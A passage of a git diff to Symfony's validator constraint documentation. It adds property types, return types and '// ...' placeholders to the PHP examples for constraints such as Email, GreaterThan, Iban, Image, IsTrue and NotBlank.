-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('weight', new Assert\DivisibleBy(0.25));
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 3dc98946638..19b1579b88a 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -27,7 +27,7 @@ Basic Usage
             #[Assert\Email(
                 message: 'The email {{ value }} is not a valid email.',
             )]
-            protected $email;
+            protected string $email;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,9 @@ Basic Usage
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('email', new Assert\Email([
                     'message' => 'The email "{{ value }}" is not a valid email.',
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index 41e95947963..0c2db8e5b4e 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -35,12 +35,12 @@ and that the ``age`` is ``20``, you could do the following:
         class Person
         {
             #[Assert\EqualTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\EqualTo(
                 value: 20,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -86,7 +86,9 @@ and that the ``age`` is ``20``, you could do the following:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\EqualTo('Mary'));
 
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 3ce3850979b..f10956c4046 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -37,12 +37,12 @@ The following constraints ensure that:
         class Order
         {
             #[Assert\ExpressionLanguageSyntax]
-            protected $promotion;
+            protected string  $promotion;
 
             #[Assert\ExpressionLanguageSyntax(
                 allowedVariables: ['user', 'shipping_centers'],
             )]
-            protected $shippingOptions;
+            protected string $shippingOptions;
         }
 
     .. code-block:: yaml
@@ -89,7 +89,9 @@ The following constraints ensure that:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('promotion', new Assert\ExpressionLanguageSyntax());
 
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 45a633867d7..2a603eaa616 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -38,12 +38,12 @@ The following constraints ensure that:
         class Order
         {
             #[Assert\ExpressionSyntax]
-            protected $promotion;
+            protected string $promotion;
 
             #[Assert\ExpressionSyntax(
                 allowedVariables: ['user', 'shipping_centers'],
             )]
-            protected $shippingOptions;
+            protected string $shippingOptions;
         }
 
     .. code-block:: yaml
@@ -90,7 +90,9 @@ The following constraints ensure that:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('promotion', new Assert\ExpressionSyntax());
 
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 44503da656f..68a65dfba20 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -38,14 +38,14 @@ type. The ``Author`` class might look as follows::
 
     class Author
     {
-        protected $bioFile;
+        protected File $bioFile;
 
-        public function setBioFile(File $file = null)
+        public function setBioFile(File $file = null): void
         {
             $this->bioFile = $file;
         }
 
-        public function getBioFile()
+        public function getBioFile(): File
         {
             return $this->bioFile;
         }
@@ -70,7 +70,7 @@ below a certain file size and a valid PDF, add the following:
                 extensions: ['pdf'],
                 extensionsMessage: 'Please upload a valid PDF',
             )]
-            protected $bioFile;
+            protected File $bioFile;
         }
 
     .. code-block:: yaml
@@ -115,7 +115,9 @@ below a certain file size and a valid PDF, add the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bioFile', new Assert\File([
                     'maxSize' => '1024k',
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 3695486491c..4f2e34bcbfa 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -32,12 +32,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\GreaterThan(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\GreaterThan(
                 value: 18,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -83,7 +83,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThan(5));
 
@@ -112,7 +114,7 @@ that a date must at least be the next day:
         class Order
         {
             #[Assert\GreaterThan('today')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -148,7 +150,9 @@ that a date must at least be the next day:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('today'));
             }
@@ -169,7 +173,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Order
         {
             #[Assert\GreaterThan('today UTC')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -205,7 +209,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('today UTC'));
             }
@@ -227,7 +233,7 @@ current time:
         class Order
         {
             #[Assert\GreaterThan('+5 hours')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -263,7 +269,9 @@ current time:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThan('+5 hours'));
             }
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 0adb729eae7..e5a71e5f788 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -31,12 +31,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\GreaterThanOrEqual(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\GreaterThanOrEqual(
                 value: 18,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -82,7 +82,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThanOrEqual(5));
 
@@ -111,7 +113,7 @@ that a date must at least be the current day:
         class Order
         {
             #[Assert\GreaterThanOrEqual('today')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -147,7 +149,9 @@ that a date must at least be the current day:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('today'));
             }
@@ -168,7 +172,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Order
         {
             #[Assert\GreaterThanOrEqual('today UTC')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -204,7 +208,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('today UTC'));
             }
@@ -226,7 +232,7 @@ current time:
         class Order
         {
             #[Assert\GreaterThanOrEqual('+5 hours')]
-            protected $deliveryDate;
+            protected \DateTimeInterface $deliveryDate;
         }
 
     .. code-block:: yaml
@@ -262,7 +268,9 @@ current time:
 
         class Order
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('deliveryDate', new Assert\GreaterThanOrEqual('+5 hours'));
             }
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index eea851b144f..95b10d1736e 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -29,7 +29,7 @@ will contain a host name.
         class ServerSettings
         {
             #[Assert\Hostname(message: 'The server name must be a valid hostname.')]
-            protected $name;
+            protected string $name;
         }
 
     .. code-block:: yaml
@@ -68,7 +68,9 @@ will contain a host name.
 
         class ServerSettings
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\Hostname([
                     'message' => 'The server name must be a valid hostname.',
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index d7f5b7c4140..3cf800200e2 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -32,7 +32,7 @@ will contain an International Bank Account Number.
             #[Assert\Iban(
                 message: 'This is not a valid International Bank Account Number (IBAN).',
             )]
-            protected $bankAccountNumber;
+            protected string $bankAccountNumber;
         }
 
     .. code-block:: yaml
@@ -73,9 +73,9 @@ will contain an International Bank Account Number.
 
         class Transaction
         {
-            protected $bankAccountNumber;
+            // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([
                     'message' => 'This is not a valid International Bank Account Number (IBAN).',
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 1b3c9a357e9..507493b63d4 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -37,12 +37,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\IdenticalTo('Mary')]
-            protected $firstName;
+            protected string $firstName;
 
             #[Assert\IdenticalTo(
                 value: 20,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -88,7 +88,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\IdenticalTo('Mary'));
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index eff1ec8c4c4..22a7bc1a688 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -33,14 +33,14 @@ would be a ``file`` type. The ``Author`` class might look as follows::
 
     class Author
     {
-        protected $headshot;
+        protected File $headshot;
 
-        public function setHeadshot(File $file = null)
+        public function setHeadshot(File $file = null): void
         {
             $this->headshot = $file;
         }
 
-        public function getHeadshot()
+        public function getHeadshot(): File
         {
             return $this->headshot;
         }
@@ -56,6 +56,7 @@ that it is between a certain size, add the following:
         // src/Entity/Author.php
         namespace App\Entity;
 
+        use Symfony\Component\HttpFoundation\File\File;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
@@ -66,7 +67,7 @@ that it is between a certain size, add the following:
                 minHeight: 200,
                 maxHeight: 400,
             )]
-            protected $headshot;
+            protected File $headshot;
         }
 
     .. code-block:: yaml
@@ -111,7 +112,9 @@ that it is between a certain size, add the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('headshot', new Assert\Image([
                     'minWidth' => 200,
@@ -136,6 +139,7 @@ following code:
         // src/Entity/Author.php
         namespace App\Entity;
 
+        use Symfony\Component\HttpFoundation\File\File;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
@@ -144,7 +148,7 @@ following code:
                 allowLandscape: false,
                 allowPortrait: false,
             )]
-            protected $headshot;
+            protected File $headshot;
         }
 
     .. code-block:: yaml
@@ -179,7 +183,9 @@ following code:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('headshot', new Assert\Image([
                     'allowLandscape' => false,
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index c3719800d1e..2f05f677601 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -26,7 +26,7 @@ Basic Usage
         class Author
         {
             #[Assert\Ip]
-            protected $ipAddress;
+            protected string $ipAddress;
         }
 
     .. code-block:: yaml
@@ -62,7 +62,9 @@ Basic Usage
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('ipAddress', new Assert\Ip());
             }
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 05a1cd1c401..0b9ebe77491 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -21,11 +21,11 @@ but is most commonly useful in the latter case. For example, suppose that
 you want to guarantee that some ``state`` property is *not* in a dynamic
 ``invalidStates`` array. First, you'd create a "getter" method::
 
-    protected $state;
+    protected string $state;
 
-    protected $invalidStates = [];
+    protected array $invalidStates = [];
 
-    public function isStateInvalid()
+    public function isStateInvalid(): bool
     {
         return in_array($this->state, $this->invalidStates);
     }
@@ -47,7 +47,7 @@ method returns **false**:
             #[Assert\IsFalse(
                 message: "You've entered an invalid state."
             )]
-            public function isStateInvalid()
+            public function isStateInvalid(): bool
             {
                 // ...
             }
@@ -89,14 +89,16 @@ method returns **false**:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
                     'message' => "You've entered an invalid state.",
                 ]));
             }
 
-            public function isStateInvalid()
+            public function isStateInvalid(): bool
             {
                 // ...
             }
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 107ac662870..0f9726110ba 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -31,7 +31,7 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
         class Author
         {
             #[Assert\IsNull]
-            protected $firstName;
+            protected ?string $firstName = null;
         }
 
     .. code-block:: yaml
@@ -67,7 +67,9 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', Assert\IsNull());
             }
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index f1700f599d1..678371f6e69 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -25,11 +25,11 @@ you have the following method::
 
     class Author
     {
-        protected $token;
+        protected string $token;
 
-        public function isTokenValid()
+        public function isTokenValid(): bool
         {
-            return $this->token == $this->generateToken();
+            return $this->token === $this->generateToken();
         }
     }
 
@@ -46,13 +46,15 @@ Then you can validate this method with ``IsTrue`` as follows:
 
         class Author
         {
-            protected $token;
+            protected string $token;
 
             #[Assert\IsTrue(message: 'The token is invalid.')]
-            public function isTokenValid()
+            public function isTokenValid(): bool
             {
-                return $this->token == $this->generateToken();
+                return $this->token === $this->generateToken();
             }
+
+            // ...
         }
 
     .. code-block:: yaml
@@ -91,17 +93,21 @@ Then you can validate this method with ``IsTrue`` as follows:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addGetterConstraint('tokenValid', new IsTrue([
                     'message' => 'The token is invalid.',
                 ]));
             }
 
-            public function isTokenValid()
+            public function isTokenValid(): bool
             {
-                return $this->token == $this->generateToken();
+                return $this->token === $this->generateToken();
             }
+
+            // ...
         }
 
 If the ``isTokenValid()`` returns false, the validation will fail.
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 0152abdde55..954bff233d5 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -31,7 +31,7 @@ on an object that will contain an ISBN.
                 type: Assert\Isbn::ISBN_10,
                 message: 'This value is not valid.',
             )]
-            protected $isbn;
+            protected string $isbn;
         }
 
     .. code-block:: yaml
@@ -72,7 +72,9 @@ on an object that will contain an ISBN.
 
         class Book
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
                     'type' => Assert\Isbn::ISBN_10,
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index 8f06a003f0f..d611cf60898 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -25,7 +25,7 @@ Basic Usage
         class UnitAccount
         {
             #[Assert\Isin]
-            protected $isin;
+            protected string $isin;
         }
 
     .. code-block:: yaml
@@ -61,7 +61,9 @@ Basic Usage
 
         class UnitAccount
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('isin', new Assert\Isin());
             }
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 6e934dcdc2f..fa2fbae5bf5 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -25,7 +25,7 @@ Basic Usage
         class Journal
         {
             #[Assert\Issn]
-            protected $issn;
+            protected string $issn;
         }
 
     .. code-block:: yaml
@@ -61,7 +61,9 @@ Basic Usage
 
         class Journal
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('issn', new Assert\Issn());
             }
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 6b52d2ef6ae..e3752c4d47f 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -25,7 +25,7 @@ Basic Usage
         class User
         {
             #[Assert\Language]
-            protected $preferredLanguage;
+            protected string $preferredLanguage;
         }
 
     .. code-block:: yaml
@@ -61,7 +61,9 @@ Basic Usage
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('preferredLanguage', new Assert\Language());
             }
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 89e8b02547d..b653d2bea23 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -32,7 +32,7 @@ and ``50``, you might add the following:
                 minMessage: 'Your first name must be at least {{ limit }} characters long',
                 maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
             )]
-            protected $firstName;
+            protected string $firstName;
         }
 
 
@@ -82,7 +82,9 @@ and ``50``, you might add the following:
 
         class Participant
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\Length([
                     'min' => 2,
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 913624e46d8..964bfbb3527 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -32,12 +32,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\LessThan(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\LessThan(
                 value: 80,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -83,7 +83,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThan(5));
 
@@ -112,7 +114,7 @@ that a date must be in the past like this:
         class Person
         {
             #[Assert\LessThan('today')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -148,7 +150,9 @@ that a date must be in the past like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThan('today'));
             }
@@ -169,7 +173,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Person
         {
             #[Assert\LessThan('today UTC')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -205,7 +209,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('age', new Assert\LessThan('today UTC'));
             }
@@ -226,7 +232,7 @@ can check that a person must be at least 18 years old like this:
         class Person
         {
             #[Assert\LessThan('-18 years')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -262,7 +268,9 @@ can check that a person must be at least 18 years old like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThan('-18 years'));
             }
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 91f5e50b6f4..9420c3e4376 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -31,12 +31,12 @@ The following constraints ensure that:
         class Person
         {
             #[Assert\LessThanOrEqual(5)]
-            protected $siblings;
+            protected int $siblings;
 
             #[Assert\LessThanOrEqual(
                 value: 80,
             )]
-            protected $age;
+            protected int $age;
         }
 
     .. code-block:: yaml
@@ -82,7 +82,9 @@ The following constraints ensure that:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThanOrEqual(5));
 
@@ -111,7 +113,7 @@ that a date must be today or in the past like this:
         class Person
         {
             #[Assert\LessThanOrEqual('today')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -147,7 +149,9 @@ that a date must be today or in the past like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('today'));
             }
@@ -168,7 +172,7 @@ dates. If you want to fix the timezone, append it to the date string:
         class Person
         {
             #[Assert\LessThanOrEqual('today UTC')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -204,7 +208,9 @@ dates. If you want to fix the timezone, append it to the date string:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('today UTC'));
             }
@@ -225,7 +231,7 @@ can check that a person must be at least 18 years old like this:
         class Person
         {
             #[Assert\LessThanOrEqual('-18 years')]
-            protected $dateOfBirth;
+            protected \DateTimeInterface $dateOfBirth;
         }
 
     .. code-block:: yaml
@@ -261,7 +267,9 @@ can check that a person must be at least 18 years old like this:
 
         class Person
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('dateOfBirth', new Assert\LessThanOrEqual('-18 years'));
             }
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index f1c5b91627d..49edd473d05 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -35,7 +35,7 @@ Basic Usage
             #[Assert\Locale(
                 canonicalize: true,
             )]
-            protected $locale;
+            protected string $locale;
         }
 
     .. code-block:: yaml
@@ -74,7 +74,9 @@ Basic Usage
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('locale', new Assert\Locale([
                     'canonicalize' => true,
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index f89064030a6..8f5ef34c4ba 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -29,7 +29,7 @@ will contain a credit card number.
         class Transaction
         {
             #[Assert\Luhn(message: 'Please check your credit card number.')]
-            protected $cardNumber;
+            protected string $cardNumber;
         }
 
     .. code-block:: yaml
@@ -68,7 +68,9 @@ will contain a credit card number.
 
         class Transaction
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\Luhn([
                     'message' => 'Please check your credit card number',
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 388a13fb222..493ffa72beb 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -29,7 +29,7 @@ The following constraint ensures that the ``withdraw`` of a  bank account
         class TransferItem
         {
             #[Assert\Negative]
-            protected $withdraw;
+            protected int $withdraw;
         }
 
     .. code-block:: yaml
@@ -65,7 +65,9 @@ The following constraint ensures that the ``withdraw`` of a  bank account
 
         class TransferItem
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('withdraw', new Assert\Negative());
             }
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index be6f3bc7566..a6a61862b99 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -28,7 +28,7 @@ is a negative number or equal to zero:
         class UnderGroundGarage
         {
             #[Assert\NegativeOrZero]
-            protected $level;
+            protected int $level;
         }
 
     .. code-block:: yaml
@@ -64,7 +64,9 @@ is a negative number or equal to zero:
 
         class UnderGroundGarage
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('level', new Assert\NegativeOrZero());
             }
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 6cf4770f21f..388206e34bd 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -30,7 +30,7 @@ class were not blank, you could do the following:
         class Author
         {
             #[Assert\NotBlank]
-            protected $firstName;
+            protected string $firstName;
         }
 
     .. code-block:: yaml
@@ -66,7 +66,9 @@ class were not blank, you could do the following:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
             }
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 0e4bf194e68..6641f9d8cb2 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -28,7 +28,7 @@ The following constraint ensures that the ``rawPassword`` property of the
         class User
         {
             #[Assert\NotCompromisedPassword]
-            protected $rawPassword;
+            protected string $rawPassword;
         }
 
     .. code-block:: yaml
@@ -64,7 +64,9 @@ The following constraint ensures that the ``rawPassword`` property of the
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
